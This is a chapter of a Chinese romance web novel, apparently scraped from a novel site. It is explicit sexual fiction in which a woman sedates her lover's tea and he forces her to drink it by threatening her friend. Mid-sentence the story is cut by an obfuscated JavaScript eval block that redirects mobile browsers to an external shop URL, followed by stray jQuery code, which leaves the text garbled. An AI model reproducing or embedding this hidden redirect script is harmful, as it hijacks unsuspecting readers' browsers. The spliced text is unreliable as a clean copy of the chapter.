文趣网 > 其他小说 > 刺杀偏执权臣失败后 > 30. 吞入
    红绸捆着他筋脉微凸的手臂,上方勒出一道浅浅的红痕。

    卫容抬起那双凤眸望着云穗,眼里再没有平日的凌厉,也没有惯常的算计,只有一种近乎卑微的,讨好的目光。

    “恨我是吗?恨我就抽我。”

    见云穗的掌心随意垂落在他赤.裸胸肌上无动于衷,只瞪着扑闪的大眼睛呆呆地望着他,一点该有生理反应也没有。

    他微微勾唇,可笑容里尽是苦涩。

    思来想去,也只好曲起修长的双腿,狠狠夹住云穗的腰侧,防止她趁机跑路。

    他喘着气,有些着急:“你心里有气,就朝我撒啊,我随你作践!”

    云穗哑然,腰身慢慢紧到发疼才让她回过神来。

    云穗还捧着那碗蜜渍乌梅,她摇头扔下皮鞭,慌乱之下只想逃离这令人羞耻的现场。

    可刚要起身,男人却用膝盖往她后腰用力一顶,云穗不得已往卫容怀里扑去,而手中的乌梅不慎滑落,伴随轻呼声,碗里的蜜糖泼了她和卫容一身。

    黏稠的糖浆顺着云穗的领口往下淌,几颗乌梅贴着肌肤,咕噜噜的一路下滑,滑进了隐秘柔软的地方。

    云穗薄薄的寝衣被蜜汁浸透紧紧贴在身上,她冰得一激灵,可裙下却感受到火似的滚烫,她感到不适,吃力地支棱起双膝。

    男人解开红绸,迅速将她压倒,腰带上坚硬的玉佩抵着她。

    云穗羞愤至极,在卫容要吻过来时,她怒而扫掉一旁的茶盏,玉盏中水倾泄而出溅落在绒毯上,很快将毯子把濡湿。

    卫容闭眼擦拭掉脸上的水渍,却忽然停下,眸子亮晶晶的:“你对我还是有感觉的。”

    “是不是他的不好用。”

    云穗泛着哆嗦,不明所以:“什,什么他的....”

    男人灼热的皮肤紧贴她,云穗呼吸也跟着急促起来,心口几乎要被烫坏。

    卫容克制着,起身抓握住她粉嫩的足心,眼角微红的质问道:“是萧明琛的好,还是我的好?”

    小腿肚微痒,云穗猛然一颤,垂眸却见男人的唇正轻轻贴着她的肌肤,一路摩挲向下直到足尖。

    云穗不忍直视,她迅速用双手捂着脸,羞耻的泪水淌满了她的脸颊。

    连面上的脂粉都糊了。

    云穗用力蹬开男人,啜泣说:“污秽,变,变态.....”

    起初恐惧到后来的羞愤的,直至的心软,云穗的泪水变了味儿,从微咸变得无比酸涩。

    从前欢好时,卫容绝不会这样温柔诱导,哪怕是初次,他给她的也只有粗暴。

    云穗用力抹掉眼泪,俗话说的好,人不能好了伤疤就忘了疼。

    夜色沉沉,香炉已尽,云穗望了眼那壶茶水后,主动亲了亲卫容,她收起棱角羞涩说;“外,外面有好多人,你可不可以让他们离远些,听到了很不好.....”

    卫容应允,云穗瞧见窗边那几道黑影消失后,方才安心。

    ...

    伴随着一声闷响,那双抵在卫容胸口上泛白的指尖骤然松开。

    两人在帐内折腾了半个时辰,这场久违的云雨才暂歇了。

    云穗打着颤,哆哆嗦嗦从那块玉坠上抽身离去,疲惫地倒在柔软的被褥上。

    卫容抓起方巾简单擦拭了番,便又黏黏糊糊的从后面抱住云穗,他摸着云穗的青丝,心满意足地笑道:“如初生猛,明儿一大早我还不晓得能不能爬起来。”

    “别说了,你羞不羞?”

    云穗把脸埋进枕头里,蹙眉说:“这屋子隔音这么差,附近的人肯定都听到了,你哼那么大的声音干什么啊,这是别人家,不是义阳侯府,你不晓得收敛一些吗?”

    卫容听罢嗤道:“我和妻子行周公之礼乃天经地义,旁人知道了又怎么样,谁敢多侯夫人的嘴?

    而且这儿也没有小孩儿,男女之事谁不明白,这刺史一家子看上去那么正经,结果一家老小,个个都是花月楼常客了,那玩儿的,我听了都掉下巴。”

    “还有你不知道的。”

    见云穗主动说话,卫容笑道:“多了去了,我从花月楼老鸨那听了不少八卦,这刺史好男风,还有那老太太......”

    临窗夜话,朔风吹响竹林,院外琼花乱舞。

    起初云穗羞到捂起耳朵,但后来会渐渐从被窝里探出脑袋,拿自己听来的趣事与他交换。

    那些爱恨情仇,似乎在闲聊这些床帷秘事中逐渐被遗忘,云穗仿佛卸下了防备,眉眼间难得露出了几分鲜活气。

    卫容不甚欣慰,他对着云穗亲了又亲,累了便捧着云穗软嫩的小脸轻轻揉捏。

    哪怕身上那几道鞭伤和锋利的抓痕在隐隐作痛,也阻止不了他与枕边这“罪魁祸首”亲热。

    云穗的手还搁在男人滚烫的衣襟下,等抚慰好那处便道:“你讲了这么多,渴不渴?”

    卫容点头:“我要你喂我。”

    云穗合上衣裳,从榻上爬起:“民妇这就为你倒茶。”

    卫容并不接话,只懒洋洋地撑着身子看她,少女纱裙翻飞,缓缓把温热的茶水倒出,重新坐到他跟前,将杯口抵在了他唇边。

    他低笑:“穗穗怎不替我先尝尝茶水了?”

    云穗在侯府为通房时,一直贴身照顾卫容,无论是日常的三餐,还是这饮用的茶酒,都是由她烹饪温煮。

    譬如他从口味清淡,不能吃辣,云穗便绞尽脑汁每天变着花样做鲜香美味的江南菜给他。

    得知卫容早些年常征战于沙场,平日里和将士们一起吃粗糙干粮,有时饥一顿饱一顿的,饿了啃草根书树皮的日子也屡见不鲜,云穗便晓得这论铁的胃也扛不住这样糟蹋。

    她觉得那茶水烫了不行,放凉了又怕他本就不好的胃受不住,便每回都要先倒出来,自己试试温度,才给卫容饮用。

    那时卫容的一些同僚见了这举动,跟他玩笑说,他身边那个心智不全的小婢子是把他这个大将军当成风一吹就倒的病弱娇花呵护了。

    “想什么呢。”

    云穗一愣,却很快顺着他说了下去:“民妇早就尝过了,这茶初尝苦涩,而后回甘,温度不烫也不凉,是没有问题的。”

    接着,卫容朝她伸出手,却不是去接茶杯,而是握住了她的手腕,轻轻往自己怀里一带。

    云穗没站稳,踉跄了一步,整个人跌进他怀里,茶杯里的水晃出来,溅在他敞开的衣领上。

    卫容低头看了一眼箍在怀里的少女,语气里带着笑意:“穗穗连倒杯茶都倒不好,看来只能换个方式喂了。”

    他漫不经心,将杯沿送到她唇边,冷道:“用嘴喂给我怎么样?”

    云穗偏过头,咬住下唇不肯。

    这迷药只要入了嘴,便会起效果。

    “心跳好快。”

    卫容抓起她的小手,摩挲着她指甲盖儿里那点白色粉末,贴着她耳朵说:“莫非这茶水里下了什么药?”

    云穗顿了片刻道:“我是放了东西在里面。”

    “哦?”卫容意外她的坦然。

    “你别误会,只是....合欢散,放那个东西就是助兴罢了,若告诉了你了,多没意思....”

    卫容听罢笑出声,他真不明白,当初他怎就会被这些拙劣的小伎俩骗了去。

    小骗子。

    卫容本就意犹未尽,他不生气,也不拆穿:“既然是合欢散,那就穗穗自己喝了吧,我保证接下来让你比方才还爽

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17626281|202668||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    快。”

    “.....我不要。”

    药是她放的,里面是货真价实的迷药,若沾舌后昏睡了过去,她还不晓得这混账会怎么糟蹋她。

    若将她一通羞辱过后,将她衣不蔽体的扔出去怎么办?要么,便是醒来在卫容的马车上,再也跑不掉了。

    论前者,并非云穗凭空臆想,而是卫容真的能干出这种事。

    听府里的老人说,害死卫容生母的兰姨娘就是在卫容掌权后,将其母子赶出侯府,而后还觉得不解气弄死兰氏后,就让属下把她赤条条的尸体往闹市里一扔,幼子沦为乞丐,永生不得入卫氏族谱。

    云穗依旧很惧怕身边这个男人,私以为他一口咬定是她害死了义安一家,是她作为萧明琛的狗腿子一直蛰伏在他孤苦无依的童年中。

    谁会这么轻易饶过背叛自己的人?

    “这么害怕,偷偷下砒霜了?”

    云穗心虚作拥,猛然摇头:“不敢。”

    “既然不是便喝了。”卫容语气很冷:“要么喝了它,要么,我可保不准对你的邵姐姐做什么。”

    云穗推开他,震惊道:“你休要动她一根手指!”

    卫容玩笑道:“所以让你选啊,否则我可就真干畜生的事了,你见识过我的手段吧?”

    云穗瞪了他一眼,将茶水一饮而尽。

    卫容心口一紧,但良久过去,见云穗只是简单的昏睡后,便慢慢松开了攥紧的拳头。

    细密的雪落声里,他看着云穗安静的睡颜。

    少女鸦羽似的睫毛,在她面上投下一小片阴影,呼吸匀称而平稳,嫣红的嘴唇还残留着一丝刚才瞪他时的不服气。

    卫容伸出手,在半空中悬了很久,最终还是收回来,只是将滑落的薄毯重新盖在她肩上。

    这杯茶里可以有无数种可能,她可以下断肠散,可以下鹤顶红,可以下这世间任何一种能取他性命的毒药。

    可她只是想让他好好睡一觉。

    罢了,不怪她,错的是勾引她的那个坏男人。

    卫容挪到床尾,抓住她的足踝,埋首。

    ....

    子夜时分,朔北的风终于不再刮,鹅毛大雪也隐隐变成了零星雪点,整个世界都很安静。

    见一人握着还带血气的剑匆匆赶来,守夜的侍卫连忙制止:“可是要紧事?没听见里边正闹着呢。”

    侍卫压低声音,朝灯火未熄的窗影努了努嘴。

    来者抹了把脸上的雪水,叹道:“也并非什么十万火急的事,我奉命去燕州取密报,和那儿的地痞头子起了点冲突。”

    “你怎惹上了那群人?”

    “穷山恶水出刁民,那些人不过是群吃不起饭的乞丐罢了,特别是有个孩子,果然什么样的人,就生什么种....”

    “孩子?”

    “嗯,胆儿够大,约莫四五岁,刚会走路的年纪,话都说不清楚呢,就会借刀杀人了。”

    暗卫回忆起这几日的奇遇:“那小孩瘦骨嶙峋,衣服破破烂烂的,身上都是鞭伤,面上被血污覆盖,什么样子我也看不清楚。

    让我惊讶的是,他不仅从狼犬口中夺食,还趁乱抽出了我的佩刀,将他那名为父亲的老头当场捅死了。”

    守夜的听罢感叹一声:“这孩子资质不俗,大概是什么大户人家走丢的,他莽撞报仇日后怕是凶多吉少了,当真可惜。”

    暗卫亦惋惜,他挠了挠后脑勺笑道:“侯爷和云姑娘这是和好了吗?”

    他想起少女在孕期时,她和卫容总抱着她那高隆起的腹部,露出一副初为人父母的喜悦,便叹道:“迟早的事,云姑娘向来心软,又视侯爷为珍宝,从前她都依侯爷多少回了,这次也一样。”